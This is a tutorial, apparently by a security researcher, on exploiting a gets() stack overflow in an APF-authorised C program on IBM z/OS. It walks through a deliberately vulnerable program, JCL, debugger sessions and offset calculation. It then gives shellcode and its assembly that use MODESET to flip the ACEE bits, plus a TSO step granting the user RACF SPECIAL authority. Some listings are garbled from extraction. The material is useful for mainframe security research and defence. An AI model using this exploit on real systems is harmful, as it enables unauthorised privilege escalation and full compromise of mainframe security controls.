# z/OS exploiting GETS

Jake Labelle

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## 1 Compiling C APF program

Compile a program that uses GETS, any will do, this tutorial will use the below. It needs to be compiled into a APF authorised library and link edited with AC(1).

```
#include <stdio.h>
#include <string.h>
int main(void)
   char buff[150];
   printf("Hi, what is your name?\n");
   gets(buff);
   printf("G'day %s", buff);
}
This is the JCL to compile the program.
//* Compile and bind step
//*----
//ACOMP
       EXEC EDCCB,
         OUTFILE='JAKE.TSOTEST.LIBRARY(GETSECHO), DISP=SHR',
//
         CPARM='ASM'
//STEPLIB DD DSN=CBC.SCCNCMP,DISP=SHR
         DD DSN=CEE.SCEERUN,DISP=SHR
//
         DD DSN=CEE.SCEERUN2,DISP=SHR
//COMPILE.SYSIN DD DSN=JAKE.SOURCE.C(GETSECHO),DISP=SHR
//BIND.SYSIN
 SETCODE AC(1)
 NAME GETSECHO(R)
//* Run step
//*-----
        EXEC PGM=GETSECHO
//STEPLIB DD DSN=JAKE.TSOTEST.LIBRARY,DISP=SHR
```

## 2 Static Analysis

First step, run AMBLIST to map load modules and program objects.

```
JAKE.JCL(AMBLIST)
//AMBLIST JOB (ACCT), MSGCLASS=H, NOTIFY=&SYSUID
//AMBL EXEC PGM=AMBLIST, REGION=64M
//SYSPRINT DD
              DSN=JAKE.AMBLIST(GETSECHO), DISP=OLD
//AMBLIB
         DD
              DSN=JAKE.TSOTEST.LIBRARY,DISP=SHR
         DD
   LISTLOAD DDN=AMBLIB, MEMBER=GETSECHO
This produces the following:
   LISTLOAD DDN=AMBLIB, MEMBER=GETSECHO, OUTPUT=MAP
1
                          **** M O D U L E S U M M A R Y ****
0
   MEMBER NAME: GETSECHO
                                                     MAIN ENTRY POINT: 00000000
  LIBRARY:
             AMBLIB
                                                     AMODE OF MAIN ENTRY POINT: 31
0
    NO ALIASES **
______
0
                          ATTRIBUTES OF MODULE
                           BIT STATUS BIT STATUS
21 PGM OBJ 22 NOT-SIGN
                BIT STATUS
                                             BIT STATUS
                                                            BIT STATUS
0
                20 APF
                                                            23 RESERVED
                           APFCODE:
                                        00000001
                          RMODE:
                                        ANY
0-----
                      ** SEGMENT MAP TABLE **
                      OFFSET LENGTH LOAD O B60 INITIAL.
OCLASS
              SEGMENT
                                              TYPE
                                                    ALIGNMENT
                                                             RMODE
                                      INITIAL CAT
OB_TEXT
              1
                      0
                            B60
                                                    DOUBLE WORD 31
                      ** NUMERICAL MAP OF PROGRAM OBJECT GETSECHO
ORESIDENT CLASS: B_TEXT
     CLAS LOC ELEM LOC LENGTH TYPE RMODE ALIGNMENT
                                                       NAME
                                                       $PRIV000010
     80
                        1C8 ED 31 DOUBLE WORD
        118
                 98
                            LD
                                                         MAIN
                         A ED 31 DOUBLE WORD
     3B0
                                                       gets
         3B0
                            LD
                                                         GETS
                         A ED 31 DOUBLE WORD
     3C0
                                                       printf
        3C0
                            LD
                                                         PRINTF
     CLASS LENGTH
                        B60
OLENGTH OF PROGRAM OBJECT
                      B60
0-----
```

O\*\* END OF MAP AND CROSS-REFERENCE LISTING

We can ignore all the language environment junk e.g CEEROOTA. Important information is location of our main, gets and printf function.

### 3 Dynamic Analysis

Now, lets start debugging. We are going to use TESTAUTH in batch TSO. This is important for crafting the exploit as in TSO the addresses are going to change around a bit. Also it easily muck around with the SYSIN and other datasets used by the program. APF authorised programs can only be debugged by TESTAUTH not TEST.

You need the correct RACF privelleges to use TESTAUTH. Be aware this is basically special access.

```
SETROPTS CLASSACT (TSOAUTH)
RDEFINE TSOAUTH TESTAUTH UACC(NONE)
PERMIT TESTAUTH CLASS(TSOAUTH) ID(ADMINS) ACCESS(READ)
SETR RACLIST (TSOAUTH) REFRESH
Below is my template TESTAUTH JCL.
//TESTAUTH
             JOB 'TESTAUTH', NOTIFY=&SYSUID, REGION=OM,
// MSGCLASS=H,MSGLEVEL=(1,1)
            EXEC PGM=IKJEFT01
//STEP01
//STEPLIB
            DD DSN=SYS1.LINKLIB,DISP=SHR
//CEEOPTS
           DD
ENVAR(TEST=TEST)
//*
//SYSIN DD
test
//*
//SYSTSPRT DD
                 SYSOUT=A
//SYSPRINT DD SYSOUT=*
//SYSTSIN
           DD *
 TESTAUTH 'JAKE.TSOTEST.LIBRARY (GETSECHO)'
 go
//*
This is a normal run of the program.
 TESTAUTH 'JAKE.TSOTEST.LIBRARY(GETSECHO)'
TESTAUTH
 go
IKJ57023I PROGRAM UNDER TEST HAS TERMINATED NORMALLY+
IKJ57023I BREAKPOINTS SET ARE STILL VALID
TESTAUTH
F.ND
Hi, what is your name?
G'day test
Now lets set a breakpoint at the GETS symbol so +3B0. Lets also list our parameter list (R1) and our DSA
Pointer (R13).
 //SYSTSIN
             DD *
 TESTAUTH 'JAKE.TSOTEST.LIBRARY (GETSECHO)'
 AT +3B0
 GO
 WHERE
 LIST 1R
LIST 13R
//*
This is the output.
 TESTAUTH 'JAKE.TSOTEST.LIBRARY (GETSECHO)'
TESTAUTH
 AT +3B0
TESTAUTH
 GO
IKJ57024I AT +3B0
TESTAUTH
```

```
WHERE
1FA4B640. LOCATED AT +0 IN GETSECHO.gets
TESTAUTH
LIST 1R
1R 1FAA02E0
TESTAUTH
LIST 13R
13R 1FAA0248
TESTAUTH
END
Hi, what is your name?
```

We know GETS takes one pointer, so lets see where that is. Lets also look at the NAB (next available byte) on our current DSA. This is where the GETS DSA will be set up.

```
DD *
 //SYSTSIN
 TESTAUTH 'JAKE.TSOTEST.LIBRARY (GETSECHO)'
 AT +3B0
 GO
 WHERE
LIST 1R
LIST 13R
LIST 1FAA02E0. X
LIST 1FAA0248. X M(20)
 TESTAUTH
LIST 1FAA02E0. X
1FAA02E0. 1FAA02E8
TESTAUTH
LIST 1FAA0248. X M(20)
1FAA0294.
         1FAA0380
```

Now lets calculate 1FAA0380 - 1FAA02E0 = A0. So if we can put more that 160 bytes into the SYSIN we should overwrite the GETS DSA.

This is the SYSIN with 152 characters. I use LGBT repeated, as its a 4 letter word that is unlikely to appear in a program. 4 letters helps work out the alignment, which is important for a number of instructions. Also remember that a the end of a string it will put a null byte. So make sure you are not overriding something important. With a DSA overflow it is important that you return from your current function.

We should also make a SYSIN dataset with a large LRECL.

```
//SYSIN DD DSN=JAKE.LGBT,DISP=SHR
```

Now set the SYSIN to 160 characters. I normally set the last 4 bytes to something different, in this case KALE. See how R13 now has KALE. This caused a U4083, which means that the DSA had a error. If the program is nice, it will crash gracefully and produce a CEEDUMP, which is very easy to read. But it is likely to just produce a DUMP. We will read this is IPCS.

```
$HASP373 TESTAUTH STARTED - INIT 1 - CLASS A -
CEE0374C CONDITION=CEE3204S TOKEN=00030C84 59C3C5C5 0000
WHILE RUNNING PROGRAM CEEEV003
AT THE TIME OF INTERRUPT
PSW 078D0400 85C497FA
GPR 0-3 00000020 1FA99D60 1FA96098 05C49806
GPR 4-7 00000000 1FA96098 1FAA02E8 1FAA0388
GPR 8-B 00000000 00000020 000000A0 1FACC2F9
GPR C-F 1FA9B1D8 D2C1D3C5 1FACC2F9 1FAA02E8
CEE3798I ATTEMPTING TO TAKE A DUMP FOR ABEND U4083
IGD104I JAKE.D168.T1728447.TESTAUTH
```

### 4 Exploit Dev

Using a hex editor lets set 0x1FAA02E8 - 0xC as the last 4 bytes of our SYSIN. This will set the DSA pointer to before our buffer, with the saved R14 being the first four bytes of our DSA. Lets also put a WTO SVC 0x0A23, on bytes 4 - 6 of the buffer. So this would be 0x1FAA02EC0A23[LGBT REPEATED]1FAA02DC. When we run the program it will throw another U4083 error, but we can see that it ran the WTO SVC and wrote some garbage.

17.53.28 JOB01221 CEE3798I ATTEMPTING TO TAKE A DUMP FOR ABEND U4083 TO DATA SE

Because we are running APF authorised code we can use authorised SVC like modeset. The following shell code will flip the ACEE bit to allow any tasks in the job to run as special.

0xA718003C0A6B585002245855006C585500C89400502696B1502617FF07FC

This the below assembly compiled.

```
SUPER.
         CSECT
         STM
               14,12,12(13)
         BALR 12,0
         USING *,12
         MODESET KEY=ZERO, MODE=SUP
         L 5,X'224'
                                POINTER TO ASCB
         L 5, X'6C'(5)
                                POINTER TO ASXB
         L 5,X'C8'(5)
                                POINTER TO ACEE
         NI X'26'(5),X'00'
         OI X'26'(5), X'B1'
         XR
                15,15
         BR.
                14
         END
                SUPER
```

Now lets add a BATCH TSO step to make our user special with the flipped ACEE. Lets also set the COND=EVEN so that even if the previous job ABENDs we will run this step.

```
//STEP02 EXEC PGM=IKJEFT01,COND=EVEN
//STEPLIB DD DSN=SYS1.LINKLIB,
// DISP=SHR
//SYSTSPRT DD SYSOUT=A
//SYSPRINT DD SYSOUT=*
//SYSTSIN DD *
ALU JAKE SPECIAL
//*
```

If this works you should be able to give the special authority without having special. However the TESTAUTH authority gives us special anyway, so we need to be able to get this working without debugging. There are two methods that I use.

If there is a register which has a fixed offset from your buffer e.g R15 is always the buffer address when this program abends we can use this to find it.

```
GPR 0-3 00000020 1FA99D60 1FA96098 05C49806
GPR 4-7 00000000 1FA96098 1FAA02E8 1FAA0388
GPR 8-B 00000000 00000020 000000A0 1FACC2F9
GPR C-F 1FA9B1D8 D2C1D3C5 1FACC2F9 1FAA02E8
```

If you can not find any here, then your only option is to look in the IPCS dumps that are created.

```
Go to IPCS, Browse and enter the dump as the source.
\begin{lstlisting}
Source ==> DSNAME('JAKE.D168.T1728447.TESTAUTH')
```

In the command enter WHERE 1FAA02E8. Try different addresses to find different subpools.